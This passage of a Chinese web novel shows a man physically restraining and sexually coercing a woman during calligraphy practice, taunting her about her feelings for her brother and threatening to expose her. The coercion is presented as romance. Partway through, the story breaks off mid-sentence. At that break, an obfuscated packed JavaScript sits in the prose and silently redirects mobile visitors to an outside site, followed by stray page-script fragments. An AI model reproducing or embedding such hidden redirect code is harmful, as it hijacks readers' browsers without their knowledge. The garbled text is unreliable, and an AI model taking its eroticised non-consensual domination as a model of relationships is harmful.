李泽正的指腹轻轻覆上于敏握着笔的手背,指腹下的肌肤微凉,唯有被笔杆硌出的红痕带着灼人的温度。
他顺着那道红痕往上移,目光落在她纤细的腕间。
羊脂玉镯泛着温润的柔光,贴着白皙的肌肤,衬得那圈被她自己攥出来的红印愈发刺目,像极了他刻意留在她身上的、挥之不去的印记。
他手臂骤然收紧,将她的腰牢牢锁在掌心,指节因用力而泛白,张扬的笑声混着灼热的呼吸落在她颈间,带着不容挣脱的强势。
“好啊,看看是你坚持得久,还是我比较能坚持。”
于敏指节泛白的手猛地一颤,握着的狼毫笔“嗒”地砸在宣纸上,漆黑的墨汁瞬间如蛛网般蔓延,将方才勉强成型的字迹晕成一片模糊的污痕。
她腕骨处还残留着被攥过的灼痛感,指尖连带着发麻,连抬起来的力气都快散了。
李泽正的声音就贴在耳边,带着几分漫不经心的凉意,像冰丝缠在皮肤上:“敏敏,怎么?这就握不动笔了?”
他垂眼盯着宣纸上晕开的墨团,指腹轻轻蹭过桌面残留的墨痕,语气里听不出喜怒。
可那目光落在她僵直的手上时,却像带着无形的重量,压得她连呼吸都滞了半拍。
于敏咬着下唇,将手往回缩了缩,指尖碰到冰凉的桌沿,才勉强压下喉咙里的涩意。
她没看他,只是盯着那片狼藉的宣纸,声音发紧:“松开。”
“松开?”
李泽正低笑了声,指尖反而轻轻勾住了她的手腕,那力道不重,却像铁钳似的,让她动弹不得。
“刚写了几笔就喊累,敏敏,你从前练书法时,可不是这么娇气的。”
“你从前练你阿兄的字时,可不是这般模样。我还记得你十三岁那年,蹲在院中的迎春花树下练字,笔尖悬着不敢落,眉头皱得紧紧的,那股认真劲儿,我到现在都没忘。”
看似夸奖赞扬的话语,却是讽刺挖苦的语气。
他刻意提起从前,像根细针猝不及防扎进于敏心里。
她猛地抬头看他,眼底翻涌着怒意,又掺着几分藏不住的委屈:“从前是从前,现在是现在!李泽正,你别总拿以前的事来说事,这和我阿兄又有什么关系?”
“没关系?”李泽正挑眉,另一只手捻起桌上的干净毛笔,递到于敏面前。
冰凉的笔杆堪堪抵着她的指尖,像道淬了冷意的刺。
“你倒好意思说没关系?敏敏,练你阿兄的字,心里头定然是甜的吧?”
他喉间滚出低笑,目光却沉了几分,像是透过眼前人,看到了多年前在于府的光景。
那时春日的阳光正好,于家书房的窗棂敞开着,于敏趴在桌案上练字,于修就坐在她身侧,指尖轻轻扶着她的手腕,教她调整笔锋。
阳光落在两人交叠的手上,于敏仰头笑时,发梢蹭过于修的衣袖,于修也不避嫌,只抬手替她拂开落在额前的碎发。
那时他竟还单纯地以为,是这对兄妹感情格外要好,只当于修是疼妹妹的兄长,看于敏笑时眼里的光,也只当是少女对兄长的依赖。
直到后来于敏酒后吐露真颜,他才觉得于敏抱着于修的胳膊撒娇,于修低头时眼底藏不住的温柔,远非兄妹间该有的模样。
他才后知后觉地明白,原来从那时起,这两人之间的情愫,就早已越过了兄妹的界限。
“你们兄妹二人罔顾伦常。”李泽正的声音冷了下来。
笔杆又往前递了递,几乎要将她的指尖压弯。
“你和他,早就如现在的你我这般,双手交缠,耳贴着耳,姿势暧昧地一起练过字吧?”
于敏猛地偏过头,避开那支笔,指尖因用力攥着衣摆而泛白,声音里带着隐忍的怒意:“请你不要羞辱我阿兄。”
“羞辱?”李泽正像是听到了什么笑话,低低地笑出声,指腹摩挲着冰凉的笔杆,“难道我说错了?你和你阿兄,难道不是这样吗?”
“我阿兄从未对我做过这些出格的事!”
于敏终于抬眼瞪他,眼眶泛红却透着倔强,“他一身正气、端方有礼,从始至终都待我如亲妹。是我……是我单恋他,所有心思都是我一个人的,你不要牵扯他!”
“确实,他一身正气,端方有礼。”
李泽正的指尖骤然收紧,指腹深陷进她腕间细腻的皮肉里,力道重得几乎要捏碎她的骨头,“他哪像我,能这般不管不顾地出格。”
他俯身逼近,温热的气息裹挟着压迫感扑面而来。
他声音压得极低,像淬了冰的蛇信子,缠上她的耳廓。
“他确实不像我,会把你死死按在这桌角,一寸寸剥落你的衣裳,指尖掐着你腰的两侧,低头去吻你颈间那片白皙的肌肤。这些,他都做不到,对不对?”
“他确实不能。”他不等她回答,便自己接了话,语气里掺着几分说不清的嘲弄,又带着近乎偏执的占有欲。
“因为……你只能是我的。”
他指尖摩挲着她腕间的红痕,语气平淡却带着不容置喙的笃定,“敏敏,从始至终,你都是我的。”
“李泽正,你就是个变态。”于敏的声音发颤,一半是疼,一半是怒,每一个字都像从牙缝里挤出来的。
于敏从前只当李泽正心思深沉、满是计谋,是个难对付的角色。
可直到此刻,她才后知后觉地惊觉,他哪里只是有城府,分明是骨子里藏着这样偏执又扭曲的疯狂,变态得让她浑身发寒。
“我是变态?”李泽正低笑出声,那笑声里没有半分暖意,只有彻骨的凉,“不也是敏敏你逼的吗?”
他的唇几乎要贴上她的耳尖,呼吸里那股淡雅的龙涎香,此刻却成了最让她窒息的味道,缠得她连呼吸都滞涩:“是你先把我逼疯的,敏敏。既然疯了,你就得对我负责。”
“一辈子都得负责。”
于敏拼尽全力想往前挣,他便硬挤着她往前。
手腕却被他攥得更紧,骨头相抵的钝痛顺着手臂蔓延开来,眼眶瞬间被生理性的泪水浸红。
她咬着下唇,声音里带着抑制不住的哭腔:“李泽正,你到底想怎么样?!”
“我不想怎么样。”李泽正的声音沉了沉,目
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16229440|181524||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
光落在她泛红的眼角,语气里多了几分不容置喙的强硬,“把笔拿着,接着写。什么时候写出一幅让我满意的,什么时候停下。”
“神经病。”于敏偏过头,避开他的目光,声音发颤却透着倔强,连指尖都在微微发抖。
李泽正勾了勾唇,那笑意轻飘飘的,却藏着不容错辨的掌控感,分明是一副全局尽在掌握的模样。
他指尖掐着她腰侧,稍一用力,那力道刁钻又精准。
于敏浑身一颤,力气像是被瞬间抽走,手臂软得发颤,手中的笔再也握不住,直直砸在宣纸上,整个人都瘫软下来,连挣扎的劲都没了。
她已没力气再写字。
“这就没力气了?”他俯身,呼吸落在她耳后,带着几分漫不经心的嘲弄,“方才不是还说要写断手也不顺我意?”
明明是他让她没发再写字,还要这般假惺惺的作捉弄她。
于敏破碎的靠在桌沿上,浑身软得提不起劲,只能偏着头躲开他的气息,声音里裹着未散的颤意:“你放开我……”
“放开你?”李泽正低笑,指尖顺着她的腰侧往上移,最终停在她泛红的腕间,轻轻捏了捏,“敏敏,你现在连站都站不稳,放开你,你要摔了怎么办?”
他这话听着像关切,可语气里的掌控感却浓得化不开。
于敏咬着下唇,想往后缩,却被他另一只手扣住了后颈,逼着她抬头看向自己。
李泽正的眼底没什么温度,只有一片沉沉的占有欲,他拇指蹭过她泛红的眼角,动作轻得近乎温柔,说出来的话却带着不容抗拒的强势:“乖乖听话,不好吗?省得我费力气,你也少受点罪。”
于敏看着他近在咫尺的脸,只觉得喉咙发紧。
墨渍还在宣纸上漫延,晕得那些未写完的字迹面目全非,就像她此刻被搅得一团乱的处境,连一点反抗的余地都没有。
“敏敏,我瞧着你这字,写得倒是不错。”
李泽正指尖点了点宣纸上歪扭的字迹,语气里掺着几分刻意的赞许,眼底却藏着狡黠的笑意。
“明日我便让人把这字送到于府,给你阿兄瞧瞧,好不好?”
他俯身逼近,声音压得极低,每个字都像钩子,勾着于敏最在意的地方,“就说你在宫里日日练习,学得认真,练得也卖力。为了把字练好,着实受了不少辛苦。你说,你阿兄听了,会不会高兴?”
于敏的指尖瞬间冰凉。这字写得有多勉强,字里行间的颤抖,阿兄一眼便能看穿。
若是真送到阿兄手里,他怎会不明白,这歪歪扭扭的字迹背后,是她在李泽正手下的挣扎与屈辱?
她绝不能让阿兄知道,她与李泽正在宫中做了这么肮脏龌龊之事。
一股急火猛地冲上心头,于敏抓起桌上的字帖,双手用力一扯,宣纸撕裂的脆响在书房里格外刺耳。
她将碎纸狠狠砸在地上,指尖因用力而泛白,声音里满是咬牙切齿的决绝:“你……休……想!”
李泽正不怒反笑,“看来敏敏还没写得尽兴,再来!”
他紧扣住于敏的腰,再次压向桌沿……